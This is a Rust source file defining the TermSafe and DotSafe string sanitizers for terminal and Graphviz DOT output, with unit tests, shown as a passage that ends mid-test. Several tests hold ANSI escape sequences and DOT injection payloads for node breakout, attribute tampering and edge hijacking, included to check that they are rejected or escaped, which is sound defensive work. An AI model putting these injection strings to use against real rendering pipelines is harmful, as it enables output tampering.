1use serde::{Deserialize, Deserializer, Serialize, Serializer};
6use std::borrow::{Borrow, Cow};
7use std::convert::AsRef;
8use std::error::Error;
9use std::ffi::OsStr;
10use std::fmt::{self, Debug, Display, Formatter};
11use std::ops::Deref;
12use std::path::{Path, PathBuf};
13use std::str::FromStr;
14
15#[inline]
20pub const fn is_control_character(c: char) -> bool {
21 c.is_control()
22}
23
24#[inline]
26pub fn contains_control_characters(s: &str) -> bool {
27 s.chars().any(is_control_character)
28}
29
30#[derive(Clone, Copy, Debug, PartialEq, Eq)]
33pub struct ControlCharError {
34 pub byte_index: usize,
36 pub character: char,
38}
39
40impl ControlCharError {
41 pub fn byte_index(&self) -> usize {
43 self.byte_index
44 }
45
46 pub fn character(&self) -> char {
48 self.character
49 }
50}
51
52impl Display for ControlCharError {
53 fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
54 write!(
55 f,
56 "string contains control character {:?} (U+{:04X}) at byte index {}",
57 self.character, self.character as u32, self.byte_index
58 )
59 }
60}
61
62impl Error for ControlCharError {}
63
64#[derive(Clone, Default, PartialEq, Eq, PartialOrd, Ord, Hash)]
76pub struct TermSafe(String);
77
78impl TermSafe {
79 pub fn from_str_lossy(s: impl AsRef<str>) -> Self {
81 let redacted: String = s
82 .as_ref()
83 .chars()
84 .map(|c| if is_control_character(c) { char::REPLACEMENT_CHARACTER } else { c })
85 .collect();
86 Self(redacted)
87 }
88
89 pub fn from_str_escaped(s: impl AsRef<str>) -> Self {
91 let s = s.as_ref();
92 if !contains_control_characters(s) {
93 return Self(s.to_owned());
94 }
95 let mut out = String::with_capacity(s.len());
96 for c in s.chars() {
97 if is_control_character(c) {
98 out.extend(c.escape_default());
99 } else {
100 out.push(c);
101 }
102 }
103 Self(out)
104 }
105
106 pub fn as_str(&self) -> &str {
108 &self.0
109 }
110
111 pub fn into_inner(self) -> String {
113 self.0
114 }
115}
116
117impl Deref for TermSafe {
118 type Target = str;
119
120 fn deref(&self) -> &Self::Target {
121 &self.0
122 }
123}
124
125impl AsRef<str> for TermSafe {
126 fn as_ref(&self) -> &str {
127 &self.0
128 }
129}
130
131impl AsRef<Path> for TermSafe {
132 fn as_ref(&self) -> &Path {
133 Path::new(&self.0)
134 }
135}
136
137impl AsRef<OsStr> for TermSafe {
138 fn as_ref(&self) -> &OsStr {
139 OsStr::new(&self.0)
140 }
141}
142
143impl AsRef<[u8]> for TermSafe {
144 fn as_ref(&self) -> &[u8] {
145 self.0.as_bytes()
146 }
147}
148
149impl Borrow<str> for TermSafe {
150 fn borrow(&self) -> &str {
151 &self.0
152 }
153}
154
155impl Display for TermSafe {
156 fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
157 Display::fmt(&self.0, f)
158 }
159}
160
161impl Debug for TermSafe {
162 fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
163 f.debug_tuple("TermSafe").field(&self.0).finish()
164 }
165}
166
167impl From<TermSafe> for String {
168 fn from(safe_string: TermSafe) -> Self {
169 safe_string.0
170 }
171}
172
173impl From<TermSafe> for PathBuf {
174 fn from(safe_string: TermSafe) -> Self {
175 PathBuf::from(safe_string.0)
176 }
177}
178
179impl<'a> From<TermSafe> for Cow<'a, str> {
180 fn from(safe_string: TermSafe) -> Self {
181 Cow::Owned(safe_string.0)
182 }
183}
184
185impl<'a> From<&'a TermSafe> for Cow<'a, str> {
186 fn from(safe_string: &'a TermSafe) -> Self {
187 Cow::Borrowed(safe_string.as_str())
188 }
189}
190
191impl TryFrom<&str> for TermSafe {
192 type Error = ControlCharError;
193
194 fn try_from(s: &str) -> Result<Self, Self::Error> {
195 if let Some((byte_index, character)) =
196 s.char_indices().find(|(_, c)| is_control_character(*c))
197 {
198 Err(ControlCharError { byte_index, character })
199 } else {
200 Ok(Self(s.to_owned()))
201 }
202 }
203}
204
205impl TryFrom<String> for TermSafe {
206 type Error = ControlCharError;
207
208 fn try_from(s: String) -> Result<Self, Self::Error> {
209 Self::try_from(s.as_str())
210 }
211}
212
213impl FromStr for TermSafe {
214 type Err = ControlCharError;
215
216 fn from_str(s: &str) -> Result<Self, Self::Err> {
217 Self::try_from(s)
218 }
219}
220
221impl PartialEq<str> for TermSafe {
222 fn eq(&self, other: &str) -> bool {
223 self.0 == other
224 }
225}
226
227impl PartialEq<&str> for TermSafe {
228 fn eq(&self, other: &&str) -> bool {
229 self.0 == *other
230 }
231}
232
233impl PartialEq<String> for TermSafe {
234 fn eq(&self, other: &String) -> bool {
235 &self.0 == other
236 }
237}
238
239impl PartialEq<TermSafe> for str {
240 fn eq(&self, other: &TermSafe) -> bool {
241 self == &other.0
242 }
243}
244
245impl PartialEq<TermSafe> for &str {
246 fn eq(&self, other: &TermSafe) -> bool {
247 *self == &other.0
248 }
249}
250
251impl PartialEq<TermSafe> for String {
252 fn eq(&self, other: &TermSafe) -> bool {
253 self == &other.0
254 }
255}
256
257impl<'a> PartialEq<Cow<'a, str>> for TermSafe {
258 fn eq(&self, other: &Cow<'a, str>) -> bool {
259 self.0 == **other
260 }
261}
262
263impl<'a> PartialEq<TermSafe> for Cow<'a, str> {
264 fn eq(&self, other: &TermSafe) -> bool {
265 **self == other.0
266 }
267}
268
269impl Serialize for TermSafe {
270 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
271 where
272 S: Serializer,
273 {
274 self.0.serialize(serializer)
275 }
276}
277
278impl<'de> Deserialize<'de> for TermSafe {
279 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
280 where
281 D: Deserializer<'de>,
282 {
283 let s = String::deserialize(deserializer)?;
284 TermSafe::try_from(s).map_err(serde::de::Error::custom)
285 }
286}
287
288#[inline]
295pub const fn is_dot_unsafe_character(c: char) -> bool {
296 c == '"' || c == '\\' || is_control_character(c)
297}
298
299#[inline]
301pub fn contains_dot_unsafe_characters(s: &str) -> bool {
302 s.chars().any(is_dot_unsafe_character)
303}
304
305#[derive(Clone, Copy, Debug, PartialEq, Eq)]
308pub struct DotCharError {
309 pub byte_index: usize,
311 pub character: char,
313}
314
315impl DotCharError {
316 pub fn byte_index(&self) -> usize {
318 self.byte_index
319 }
320
321 pub fn character(&self) -> char {
323 self.character
324 }
325}
326
327impl Display for DotCharError {
328 fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
329 write!(
330 f,
331 "string contains unsafe DOT character {:?} (U+{:04X}) at byte index {}",
332 self.character, self.character as u32, self.byte_index
333 )
334 }
335}
336
337impl Error for DotCharError {}
338
339#[derive(Clone, Default, PartialEq, Eq, PartialOrd, Ord, Hash)]
349pub struct DotSafe(String);
350
351impl DotSafe {
352 pub fn from_str_lossy(s: impl AsRef<str>) -> Self {
356 let input = s.as_ref();
357 let mut escaped = String::with_capacity(input.len());
358 let mut chars = input.chars().peekable();
359 while let Some(c) = chars.next() {
360 match c {
361 '\\' => escaped.push_str("\\\\"),
362 '"' => escaped.push_str("\\\""),
363 '\n' => escaped.push_str("\\n"),
364 '\r' => {
365 if chars.peek() == Some(&'\n') {
366 chars.next();
367 escaped.push_str("\\n");
368 } else {
369 escaped.push(char::REPLACEMENT_CHARACTER);
370 }
371 }
372 c if is_control_character(c) => escaped.push(char::REPLACEMENT_CHARACTER),
373 c => escaped.push(c),
374 }
375 }
376 Self(escaped)
377 }
378
379 pub fn as_str(&self) -> &str {
381 &self.0
382 }
383
384 pub fn into_inner(self) -> String {
386 self.0
387 }
388}
389
390impl Deref for DotSafe {
391 type Target = str;
392
393 fn deref(&self) -> &Self::Target {
394 &self.0
395 }
396}
397
398impl AsRef<str> for DotSafe {
399 fn as_ref(&self) -> &str {
400 &self.0
401 }
402}
403
404impl Borrow<str> for DotSafe {
405 fn borrow(&self) -> &str {
406 &self.0
407 }
408}
409
410impl Display for DotSafe {
411 fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
412 Display::fmt(&self.0, f)
413 }
414}
415
416impl Debug for DotSafe {
417 fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
418 f.debug_tuple("DotSafe").field(&self.0).finish()
419 }
420}
421
422impl From<DotSafe> for String {
423 fn from(safe_string: DotSafe) -> Self {
424 safe_string.0
425 }
426}
427
428impl TryFrom<&str> for DotSafe {
429 type Error = DotCharError;
430
431 fn try_from(s: &str) -> Result<Self, Self::Error> {
432 if let Some((byte_index, character)) =
433 s.char_indices().find(|(_, c)| is_dot_unsafe_character(*c))
434 {
435 Err(DotCharError { byte_index, character })
436 } else {
437 Ok(Self(s.to_owned()))
438 }
439 }
440}
441
442impl TryFrom<String> for DotSafe {
443 type Error = DotCharError;
444
445 fn try_from(s: String) -> Result<Self, Self::Error> {
446 Self::try_from(s.as_str())
447 }
448}
449
450impl FromStr for DotSafe {
451 type Err = DotCharError;
452
453 fn from_str(s: &str) -> Result<Self, Self::Err> {
454 Self::try_from(s)
455 }
456}
457
458impl PartialEq<str> for DotSafe {
459 fn eq(&self, other: &str) -> bool {
460 self.0 == other
461 }
462}
463
464impl PartialEq<&str> for DotSafe {
465 fn eq(&self, other: &&str) -> bool {
466 self.0 == *other
467 }
468}
469
470impl PartialEq<String> for DotSafe {
471 fn eq(&self, other: &String) -> bool {
472 &self.0 == other
473 }
474}
475
476impl PartialEq<&String> for DotSafe {
477 fn eq(&self, other: &&String) -> bool {
478 &self.0 == *other
479 }
480}
481
482impl PartialEq<DotSafe> for str {
483 fn eq(&self, other: &DotSafe) -> bool {
484 self == &other.0
485 }
486}
487
488impl PartialEq<DotSafe> for &str {
489 fn eq(&self, other: &DotSafe) -> bool {
490 *self == &other.0
491 }
492}
493
494impl PartialEq<DotSafe> for String {
495 fn eq(&self, other: &DotSafe) -> bool {
496 self == &other.0
497 }
498}
499
500impl PartialEq<DotSafe> for &String {
501 fn eq(&self, other: &DotSafe) -> bool {
502 *self == &other.0
503 }
504}
505
506impl Serialize for DotSafe {
507 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
508 where
509 S: Serializer,
510 {
511 self.0.serialize(serializer)
512 }
513}
514
515impl<'de> Deserialize<'de> for DotSafe {
516 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
517 where
518 D: Deserializer<'de>,
519 {
520 let s = String::deserialize(deserializer)?;
521 DotSafe::try_from(s).map_err(serde::de::Error::custom)
522 }
523}
524
525#[cfg(test)]
526mod tests {
527 use super::*;
528 use assert_matches::assert_matches;
529 use std::borrow::Borrow;
530 use std::collections::{BTreeSet, HashSet};
531
532 #[test]
533 fn test_accepts_clean_strings() {
534 let safe = TermSafe::try_from("hello-world_123").unwrap();
535 assert_eq!(safe.as_str(), "hello-world_123");
536 assert_eq!(safe.len(), 15);
537 assert!(!safe.is_empty());
538 assert_eq!(safe, "hello-world_123");
539
540 let empty = TermSafe::try_from("").unwrap();
541 assert_eq!(empty.as_str(), "");
542 assert_eq!(empty.len(), 0);
543 assert!(empty.is_empty());
544
545 let unicode = TermSafe::try_from("こんにちは 🚀 世界").unwrap();
546 assert_eq!(unicode.as_str(), "こんにちは 🚀 世界");
547 }
548
549 #[test]
550 fn test_rejects_ascii_control_characters() {
551 assert_matches!(
553 TermSafe::try_from("hello\x1b[31mworld"),
554 Err(ControlCharError { byte_index: 5, character: '\x1b' })
555 );
556
557 assert_matches!(
559 TermSafe::try_from("\x00prefix"),
560 Err(ControlCharError { byte_index: 0, character: '\0' })
561 );
562
563 assert_matches!(
565 TermSafe::try_from("alert\x07"),
566 Err(ControlCharError { byte_index: 5, character: '\x07' })
567 );
568
569 assert_matches!(
571 TermSafe::try_from("back\x08space"),
572 Err(ControlCharError { byte_index: 4, character: '\x08' })
573 );
574
575 assert_matches!(
577 TermSafe::try_from("tab\tseparated"),
578 Err(ControlCharError { byte_index: 3, character: '\t' })
579 );
580
581 assert_matches!(
583 TermSafe::try_from("line1\nline2"),
584 Err(ControlCharError { byte_index: 5, character: '\n' })
585 );
586
587 assert_matches!(
589 TermSafe::try_from("line1\rline2"),
590 Err(ControlCharError { byte_index: 5, character: '\r' })
591 );
592
593 assert_matches!(
595 TermSafe::try_from("delete\x7fchar"),
596 Err(ControlCharError { byte_index: 6, character: '\x7f' })
597 );
598 }
599
600 #[test]
601 fn test_rejects_c1_control_characters() {
602 assert_matches!(
604 TermSafe::try_from("c1_\u{009b}_control"),
605 Err(ControlCharError { byte_index: 3, character: '\u{009B}' })
606 );
607
608 assert_matches!(
610 TermSafe::try_from("c1_\u{009d}_osc"),
611 Err(ControlCharError { byte_index: 3, character: '\u{009D}' })
612 );
613
614 assert_matches!(
616 TermSafe::try_from("c1_\u{0080}"),
617 Err(ControlCharError { byte_index: 3, character: '\u{0080}' })
618 );
619
620 assert_matches!(
622 TermSafe::try_from("c1_\u{009f}"),
623 Err(ControlCharError { byte_index: 3, character: '\u{009F}' })
624 );
625 }
626
627 #[test]
628 fn test_multi_byte_utf8_error_index() {
629 let s = "こんにちは\x1b[31m";
631 let err = TermSafe::try_from(s).unwrap_err();
632 assert_eq!(err.byte_index(), 15);
633 assert_eq!(err.character(), '\x1b');
634 }
635
636 #[test]
637 fn test_from_str_lossy() {
638 let s = "hello\x1b[31mworld\x07!";
639 let safe = TermSafe::from_str_lossy(s);
640 assert_eq!(
641 safe.as_str(),
642 &format!(
643 "hello{}[31mworld{}!",
644 char::REPLACEMENT_CHARACTER,
645 char::REPLACEMENT_CHARACTER
646 )
647 );
648
649 let clean = "clean_string";
651 assert_eq!(TermSafe::from_str_lossy(clean).as_str(), clean);
652 }
653
654 #[test]
655 fn test_conversions_and_traits() {
656 let safe = TermSafe::try_from("test string").unwrap();
657
658 assert_eq!(format!("{safe}"), "test string");
660
661 assert_eq!(format!("{safe:?}"), "TermSafe(\"test string\")");
663
664 assert!(safe.starts_with("test"));
666 assert!(safe.ends_with("string"));
667 assert_eq!(&safe[0..4], "test");
668
669 let s_ref: &str = safe.as_ref();
671 assert_eq!(s_ref, "test string");
672
673 let borrowed: &str = safe.borrow();
675 assert_eq!(borrowed, "test string");
676
677 let owned: String = safe.clone().into();
679 assert_eq!(owned, "test string");
680 assert_eq!(safe.clone().into_inner(), "test string");
681
682 let parsed = "parsed_str".parse::<TermSafe>().unwrap();
684 assert_eq!(parsed, "parsed_str");
685 assert!("bad\nstr".parse::<TermSafe>().is_err());
686
687 assert_eq!(TermSafe::try_from("good").unwrap(), "good");
689 assert!(TermSafe::try_from("bad\0").is_err());
690 assert_eq!(TermSafe::try_from(String::from("good_owned")).unwrap(), "good_owned");
691 assert!(TermSafe::try_from(String::from("bad\x1b_owned")).is_err());
692
693 let s = TermSafe::try_from("abc").unwrap();
695 assert_eq!(s, "abc");
696 assert_eq!("abc", s);
697 assert_eq!(s, *"abc");
698 assert_eq!(*"abc", s);
699 assert_eq!(s, String::from("abc"));
700 assert_eq!(String::from("abc"), s);
701
702 let default_safe = TermSafe::default();
704 assert_eq!(default_safe, "");
705
706 let path: &Path = safe.as_ref();
708 assert_eq!(path, Path::new("test string"));
709 let os_str: &OsStr = safe.as_ref();
710 assert_eq!(os_str, OsStr::new("test string"));
711 let bytes: &[u8] = safe.as_ref();
712 assert_eq!(bytes, b"test string");
713 let path_buf: PathBuf = safe.clone().into();
714 assert_eq!(path_buf, PathBuf::from("test string"));
715
716 let cow_owned: Cow<'_, str> = safe.clone().into();
718 assert_eq!(cow_owned, Cow::Borrowed("test string"));
719 let cow_borrowed: Cow<'_, str> = (&safe).into();
720 assert_eq!(cow_borrowed, Cow::Borrowed("test string"));
721 assert_eq!(safe, Cow::Borrowed("test string"));
722 assert_eq!(Cow::Borrowed("test string"), safe);
723 }
724
725 #[test]
726 fn test_from_str_escaped() {
727 let s = "hello\x1b[31mworld\x07!\r\n";
728 let safe = TermSafe::from_str_escaped(s);
729 assert_eq!(safe.as_str(), "hello\\u{1b}[31mworld\\u{7}!\\r\\n");
730
731 let clean = "clean_string";
733 assert_eq!(TermSafe::from_str_escaped(clean).as_str(), clean);
734 }
735
736 #[test]
737 fn test_error_display() {
738 let err = TermSafe::try_from("foo\x1bbar").unwrap_err();
739 let display_msg = format!("{err}");
740 assert!(display_msg.contains("byte index 3"));
741 assert!(display_msg.contains("U+001B"));
742 }
743
744 #[test]
745 fn test_serde_json() {
746 let safe = TermSafe::try_from("serde_test").unwrap();
747 let json = serde_json::to_string(&safe).unwrap();
748 assert_eq!(json, "\"serde_test\"");
749
750 let deserialized: TermSafe = serde_json::from_str(&json).unwrap();
751 assert_eq!(deserialized, safe);
752
753 let bad_json = "\"hello\\u001bworld\"";
755 let res: Result<TermSafe, _> = serde_json::from_str(bad_json);
756 assert!(res.is_err());
757 }
758
759 #[test]
760 fn test_is_control_and_contains_control() {
761 assert!(is_control_character('\x1b'));
762 assert!(is_control_character('\0'));
763 assert!(is_control_character('\n'));
764 assert!(!is_control_character('a'));
765 assert!(!is_control_character(' '));
766 assert!(!is_control_character('🦀'));
767
768 assert!(contains_control_characters("hello\nworld"));
769 assert!(!contains_control_characters("hello world 🦀"));
770 }
771
772 #[test]
777 fn test_dot_safe_accepts_clean_alphanumeric() {
778 let safe = DotSafe::try_from("node_123-service").unwrap();
779 assert_eq!(safe.as_str(), "node_123-service");
780 assert_eq!(safe.len(), 16);
781 assert!(!safe.is_empty());
782 assert_eq!(safe, "node_123-service");
783 }
784
785 #[test]
786 fn test_dot_safe_accepts_allowed_punctuation() {
787 let punctuation = ".-_/:@~+=?!&()[]{}<>;,*^%$#|'";
788 let safe = DotSafe::try_from(punctuation).unwrap();
789 assert_eq!(safe.as_str(), punctuation);
790 }
791
792 #[test]
793 fn test_dot_safe_accepts_empty_and_spaces() {
794 let empty = DotSafe::try_from("").unwrap();
795 assert_eq!(empty.as_str(), "");
796 assert_eq!(empty.len(), 0);
797 assert!(empty.is_empty());
798
799 let spaces = DotSafe::try_from(" hello world ").unwrap();
800 assert_eq!(spaces.as_str(), " hello world ");
801 }
802
803 #[test]
804 fn test_dot_safe_accepts_multibyte_unicode() {
805 let unicode_samples = [
806 "こんにちは 🚀 世界",
807 "你好 驱动节点",
808 "Geräteüberwachung üöäß",
809 "Café résumé",
810 "∀x ∈ ℝ : x² ≥ 0",
811 "שלום עולם",
812 "مرحبا بالعالم",
813 "🦀✨🔒",
814 ];
815
816 for sample in unicode_samples {
817 let safe = DotSafe::try_from(sample).unwrap();
818 assert_eq!(safe.as_str(), sample);
819 }
820 }
821
822 #[test]
823 fn test_dot_safe_from_str_lossy_double_quotes() {
824 assert_eq!(DotSafe::from_str_lossy("foo").as_str(), "foo");
825 assert_eq!(DotSafe::from_str_lossy(r#""foo""#).as_str(), r#"\"foo\""#);
826 assert_eq!(DotSafe::from_str_lossy(r#""""#).as_str(), r#"\"\""#);
827 assert_eq!(DotSafe::from_str_lossy(r#"a"b"c"#).as_str(), r#"a\"b\"c"#);
828 assert_eq!(DotSafe::from_str_lossy("\"\"\"\"").as_str(), r#"\"\"\"\""#);
829 }
830
831 #[test]
832 fn test_dot_safe_from_str_lossy_backslashes() {
833 assert_eq!(DotSafe::from_str_lossy(r#"\path\to"#).as_str(), r#"\\path\\to"#);
834 assert_eq!(DotSafe::from_str_lossy(r#"foo\"#).as_str(), r#"foo\\"#);
835 assert_eq!(DotSafe::from_str_lossy(r#"\foo"#).as_str(), r#"\\foo"#);
836 assert_eq!(DotSafe::from_str_lossy(r#"foo\\bar"#).as_str(), r#"foo\\\\bar"#);
837 }
838
839 #[test]
840 fn test_dot_safe_from_str_lossy_combinations() {
841 assert_eq!(DotSafe::from_str_lossy(r#""foo\"bar""#).as_str(), r#"\"foo\\\"bar\""#);
842 assert_eq!(DotSafe::from_str_lossy(r#"\"#).as_str(), r#"\\"#);
843 assert_eq!(DotSafe::from_str_lossy(r#"\""#).as_str(), r#"\\\""#);
844 assert_eq!(DotSafe::from_str_lossy(r#"\\""#).as_str(), r#"\\\\\""#);
845 assert_eq!(DotSafe::from_str_lossy(r#"a"b\c"d\e"#).as_str(), r#"a\"b\\c\"d\\e"#);
846 assert_eq!(
847 DotSafe::from_str_lossy(r#"\"foo\\\"bar\""#).as_str(),
848 r#"\\\"foo\\\\\\\"bar\\\""#
849 );
850 }
851
852 #[test]
853 fn test_dot_safe_from_str_lossy_newlines() {
854 assert_eq!(DotSafe::from_str_lossy("line1\nline2").as_str(), "line1\\nline2");
855 assert_eq!(DotSafe::from_str_lossy("line1\r\nline2").as_str(), "line1\\nline2");
856 assert_eq!(
857 DotSafe::from_str_lossy("line1\rline2").as_str(),
858 format!("line1{}line2", char::REPLACEMENT_CHARACTER)
859 );
860 assert_eq!(DotSafe::from_str_lossy("\n\n\n").as_str(), "\\n\\n\\n");
861 assert_eq!(DotSafe::from_str_lossy("\r\n\r\n").as_str(), "\\n\\n");
862 }
863
864 #[test]
865 fn test_dot_safe_from_str_lossy_control_characters() {
866 let rep = char::REPLACEMENT_CHARACTER;
867
868 assert_eq!(DotSafe::from_str_lossy("hello\0world").as_str(), format!("hello{rep}world"));
870
871 assert_eq!(
873 DotSafe::from_str_lossy("a\x07b\x08c\td").as_str(),
874 format!("a{rep}b{rep}c{rep}d")
875 );
876
877 assert_eq!(
879 DotSafe::from_str_lossy("ansi\x1b[31mred\x7f").as_str(),
880 format!("ansi{rep}[31mred{rep}")
881 );
882
883 assert_eq!(
885 DotSafe::from_str_lossy("c1_\u{0080}_\u{009b}_\u{009f}").as_str(),
886 format!("c1_{rep}_{rep}_{rep}")
887 );
888
889 assert_eq!(
891 DotSafe::from_str_lossy("alert\x07: \"status\"\ncode\x1b").as_str(),
892 format!("alert{rep}: \\\"status\\\"\\ncode{rep}")
893 );
894 }
895
896 #[test]
897 fn test_dot_safe_rejects_quotes() {
898 assert_matches!(
899 DotSafe::try_from(r#"hello"world"#),
900 Err(DotCharError { byte_index: 5, character: '"' })
901 );
902 assert_matches!(
903 DotSafe::try_from(r#""start"#),
904 Err(DotCharError { byte_index: 0, character: '"' })
905 );
906 assert_matches!(
907 DotSafe::try_from(r#"end""#),
908 Err(DotCharError { byte_index: 3, character: '"' })
909 );
910 }
911
912 #[test]
913 fn test_dot_safe_rejects_backslashes() {
914 assert_matches!(
915 DotSafe::try_from(r#"hello\world"#),
916 Err(DotCharError { byte_index: 5, character: '\\' })
917 );
918 assert_matches!(
919 DotSafe::try_from(r#"\start"#),
920 Err(DotCharError { byte_index: 0, character: '\\' })
921 );
922 assert_matches!(
923 DotSafe::try_from(r#"end\"#),
924 Err(DotCharError { byte_index: 3, character: '\\' })
925 );
926 }
927
928 #[test]
929 fn test_dot_safe_rejects_newlines_and_tabs() {
930 assert_matches!(
931 DotSafe::try_from("line1\nline2"),
932 Err(DotCharError { byte_index: 5, character: '\n' })
933 );
934 assert_matches!(
935 DotSafe::try_from("line1\r\nline2"),
936 Err(DotCharError { byte_index: 5, character: '\r' })
937 );
938 assert_matches!(
939 DotSafe::try_from("line1\rline2"),
940 Err(DotCharError { byte_index: 5, character: '\r' })
941 );
942 assert_matches!(
943 DotSafe::try_from("tab\tseparated"),
944 Err(DotCharError { byte_index: 3, character: '\t' })
945 );
946 }
947
948 #[test]
949 fn test_dot_safe_rejects_control_characters() {
950 assert_matches!(
952 DotSafe::try_from("\0prefix"),
953 Err(DotCharError { byte_index: 0, character: '\0' })
954 );
955 assert_matches!(
957 DotSafe::try_from("ansi\x1b[31m"),
958 Err(DotCharError { byte_index: 4, character: '\x1b' })
959 );
960 assert_matches!(
962 DotSafe::try_from("alert\x07"),
963 Err(DotCharError { byte_index: 5, character: '\x07' })
964 );
965 assert_matches!(
967 DotSafe::try_from("del\x7fchar"),
968 Err(DotCharError { byte_index: 3, character: '\x7f' })
969 );
970 assert_matches!(
972 DotSafe::try_from("c1_\u{0080}"),
973 Err(DotCharError { byte_index: 3, character: '\u{0080}' })
974 );
975 assert_matches!(
976 DotSafe::try_from("c1_\u{009b}"),
977 Err(DotCharError { byte_index: 3, character: '\u{009B}' })
978 );
979 assert_matches!(
980 DotSafe::try_from("c1_\u{009f}"),
981 Err(DotCharError { byte_index: 3, character: '\u{009F}' })
982 );
983 }
984
985 #[test]
986 fn test_dot_safe_multibyte_utf8_error_index() {
987 let s1 = "日本語\"test";
989 let err1 = DotSafe::try_from(s1).unwrap_err();
990 assert_eq!(err1.byte_index(), 9);
991 assert_eq!(err1.character(), '"');
992
993 let s2 = "🦀\\shell";
995 let err2 = DotSafe::try_from(s2).unwrap_err();
996 assert_eq!(err2.byte_index(), 4);
997 assert_eq!(err2.character(), '\\');
998
999 let s3 = "Café\u{009b}bar";
1001 let err3 = DotSafe::try_from(s3).unwrap_err();
1002 assert_eq!(err3.byte_index(), 5);
1003 assert_eq!(err3.character(), '\u{009B}');
1004 }
1005
1006 #[test]
1007 fn test_dot_safe_error_display_and_trait() {
1008 let err = DotSafe::try_from(r#"foo"bar"#).unwrap_err();
1009 assert_eq!(err.byte_index(), 3);
1010 assert_eq!(err.character(), '"');
1011
1012 let msg = format!("{err}");
1013 assert!(msg.contains("byte index 3"));
1014 assert!(msg.contains("U+0022"));
1015
1016 let _: &dyn std::error::Error = &err;
1018 }
1019
1020 #[test]
1021 fn test_dot_safe_attack_node_breakout() {
1022 let payload = "\"}; node [color=red]; {\"";
1023 assert!(DotSafe::try_from(payload).is_err());
1024
1025 let escaped = DotSafe::from_str_lossy(payload);
1026 assert_eq!(escaped.as_str(), r#"\"}; node [color=red]; {\""#);
1027
1028 let dot_line = format!(r#" "{}" [label="{}"]"#, "node_1", escaped);
1030 assert_eq!(dot_line, r#" "node_1" [label="\"}; node [color=red]; {\""]"#);
1031 }
1032
1033 #[test]
1034 fn test_dot_safe_attack_attribute_tampering() {
1035 let payload = r#"] label="injected" [ "#;
1036 assert!(DotSafe::try_from(payload).is_err());
1037
1038 let escaped = DotSafe::from_str_lossy(payload);
1039 assert_eq!(escaped.as_str(), r#"] label=\"injected\" [ "#);
1040
1041 let dot_line = format!(r#" "node_1" [label="{}"]"#, escaped);
1042 assert_eq!(dot_line, r#" "node_1" [label="] label=\"injected\" [ "] "#.trim_end());
1043 }
1044
1045 #[test]
1046 fn test_dot_safe_attack_edge_hijacking() {
1047 let payload = r#"" -> "evil_target" [color=red]; "node_1"#;
1048 assert!(DotSafe::try_from(payload).is_err());
1049
1050 let escaped = DotSafe::from_str_lossy(payload);
1051 assert_eq!(escaped.as_str(), r#"\" -> \"evil_target\" [color=red]; \"node_1"#);
1052
1053 let dot_line = format!(r#" "{}" -> "{}""#, "node_1", escaped);
1054 assert_eq!(dot_line, r#" "node_1" -> "\" -> \"evil_target\" [color=red]; \"node_1""#);
1055 }
1056
1057 #[test]
1058 fn test_dot_safe_attack_html_labels_and_comments() {
1059 let clean_html = "<TABLE><TR><TD>Safe</TD></TR></TABLE>";
1061 let safe = DotSafe::try_from(clean_html).unwrap();
1062 assert_eq!(safe.as_str(), clean_html);
1063
1064 let payload_html_quotes = r#"<TABLE BORDER="0"><TR><TD>Injected</TD></TR></TABLE>"#;
1066 assert!(DotSafe::try_from(payload_html_quotes).is_err());
1067 let escaped_html = DotSafe::from_str_lossy(payload_html_quotes);
1068 assert_eq!(
1069 escaped_html.as_str(),
1070 r#"<TABLE BORDER=\"0\"><TR><TD>Injected</TD></TR></TABLE>"#
1071 );
1072
1073 let comment_payload = "\" // comment \n node [color=red]; \"";
1075 assert!(DotSafe::try_from(comment_payload).is_err());
1076 let escaped_comment = DotSafe::from_str_lossy(comment_payload);
1077 assert_eq!(escaped_comment.as_str(), "\\\" // comment \\n node [color=red]; \\\"");
1078 }
1079
1080 #[test]
1081 fn test_dot_safe_attack_trailing_backslash_escape() {
1082 let payload = r#"path\"#;
1083 assert!(DotSafe::try_from(payload).is_err());
1084
1085 let escaped = DotSafe::from_str_lossy(payload);
1086 assert_eq!(escaped.as_str(), r#"path\\"#);
1087
1088 let dot_line = format!(r#" "{}" [label="{}"]"#, "node_1", escaped);
1090 assert_eq!(dot_line, r#" "node_1" [label="path\\"]"#);
1091 }
1092
1093 #[test]
1094 fn test_dot_safe_traits_and_conversions() {
1095 let safe = DotSafe::try_from("test-value").unwrap();
1096
1097 assert_eq!(format!("{safe}"), "test-value");
1099
1100 assert_eq!(format!("{safe:?}"), "DotSafe(\"test-value\")");
1102
1103 assert_eq!(safe.len(), 10);
1105 assert!(safe.starts_with("test"));
1106 assert!(safe.ends_with("value"));
1107 assert_eq!(&safe[0..4], "test");
1108
1109 let s_ref: &str = safe.as_ref();
1111 assert_eq!(s_ref, "test-value");
1112
1113 let borrowed: &str = safe.borrow();
1115 assert_eq!(borrowed, "test-value");
1116
1117 let mut set = HashSet::new();
1118 set.insert(safe.clone());
1119 assert!(set.contains("test-value"));
1120 assert!(set.contains(String::from("test-value").as_str()));
1121
1122 let mut btree = BTreeSet::new();
1123 btree.insert(safe.clone());
1124 assert!(btree.contains("test-value"));
1125
1126 let owned: String = safe.clone().into();
1128 assert_eq!(owned, "test-value");
1129 assert_eq!(safe.into_inner(), "test-value");
1130
1131 let parsed = "parsed_node".parse::<DotSafe>().unwrap();
1133 assert_eq!(parsed, "parsed_node");
1134 assert!("bad\"node".parse::<DotSafe>().is_err());
1135
1136 let owned_valid = DotSafe::try_from(String::from("valid_owned")).unwrap();
1138 assert_eq!(owned_valid, "valid_owned");
1139 assert!(DotSafe::try_from(String::from("invalid\"owned")).is_err());
1140
1141 let default_val = DotSafe::default();
1143 assert_eq!(default_val, "");
1144 assert!(default_val.is_empty());
1145 }
1146
1147 #[test]
1148 fn test_dot_safe_symmetric_partial_eq() {
1149 let s = DotSafe::try_from("abc").unwrap();
1150
1151 assert_eq!(s, "abc");
1153 assert_eq!("abc", s);
1154 assert_eq!(s, *"abc");
1155 assert_eq!(*"abc", s);
1156
1157 assert_eq!(s, String::from("abc"));
1159 assert_eq!(String::from("abc"), s);
